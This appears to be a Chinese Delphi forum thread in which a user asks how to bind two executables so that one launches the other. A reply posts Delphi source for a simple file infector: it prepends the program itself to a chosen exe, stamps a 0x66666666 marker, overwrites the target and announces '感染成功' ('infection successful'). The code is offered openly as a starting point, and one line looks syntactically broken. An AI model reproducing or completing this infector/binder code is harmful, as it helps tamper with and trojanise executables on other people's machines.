好心人帮帮忙
exe文件A exe文件B 软件C
软件C的作用是将A跟B合到一起 生成exe文件D 执行D时 先运行A然后运行B 请问大家怎么实现呀 好心人帮帮忙
exe文件A exe文件B 软件C
软件C的作用是将A跟B合到一起 生成exe文件D 执行D时 先运行A然后运行B 请问大家怎么实现呀 好心人帮帮忙
解决方案 »
- 请问大侠,哪里有for delphi的directx9 sdk下载?
- 没有可用分的进来。
- 小妹妹傻傻地问:RVDP32.pas是什么文件?起什么作用?
- Delphi中的Record问题
- help sos!
- 请帮忙找一下错误在哪。 谢谢。。。。。
- 用DELPHI写的一个DLL,用DELPHI写的程序调用,可以有返回值,可用CB++确不能得到返回结果.
- 这个源码少的是什么控件???????????
- 如何获得特定软件的安装目录
- 一个奇怪的现象?退出windows时,windows不能关闭我的程序。
- CX这套控件的dxBarmanager控件做主菜单,怎样得到主菜单下所有菜单项(即所有明细菜单)
- 自定义组件动态调用窗体的问题?
你看一下下面的代码 。这个感染后只能运行本程序 我想实现的是感染后先运行本程序然后运行目的程序 呵呵
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, bsSkinData, BusinessSkinForm, StdCtrls, Mask, bsSkinBoxCtrls,
bsSkinCtrls, bsSkinShellCtrls;type
TForm1 = class(TForm)
bsBusinessSkinForm1: TbsBusinessSkinForm;
bsSkinData1: TbsSkinData;
bsCompressedStoredSkin1: TbsCompressedStoredSkin;
bsSkinButton1: TbsSkinButton;
bsSkinButton2: TbsSkinButton;
bsSkinStdLabel1: TbsSkinStdLabel;
bsSkinEdit1: TbsSkinEdit;
bsSkinOpenDialog1: TbsSkinOpenDialog;
procedure bsSkinButton2Click(Sender: TObject);
procedure copy(s:string);
procedure bsSkinButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;implementation{$R *.dfm}procedure TForm1.bsSkinButton2Click(Sender: TObject);
begin
if bsskinopendialog1.Execute then
bsskinedit1.Text:=bsskinopendialog1.FileName;
end;
procedure TForm1.copy(s:string);
var s1,s2:tmemorystream;
id,iid:longint;
begin
id:=$+strtoint('66666666');
s1:=tmemorystream.Create;
s1.LoadFromFile(paramstr(0));
s2:=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(-4,sofromend);
s2.Read(iid,4);
if iid=id then
begin
s1.Free;
s2.free;
showmessage('文件易感染');
end
else
begin
s1.Seek(0,sofromend);
s2.seek(0,sofrombeginning);
s1.CopyFrom(s2,s2.size);
s1.seek(0,sofromend);
s1.Write(id,4);
s1.SaveToFile(s);
s1.free;
s2.Free;
showmessage('感染成功');
end;
end;procedure TForm1.bsSkinButton1Click(Sender: TObject);
begin
if bsskinedit1.Text='' then
showmessage('没有文件')
else
copy(bsskinedit1.text);
end;end.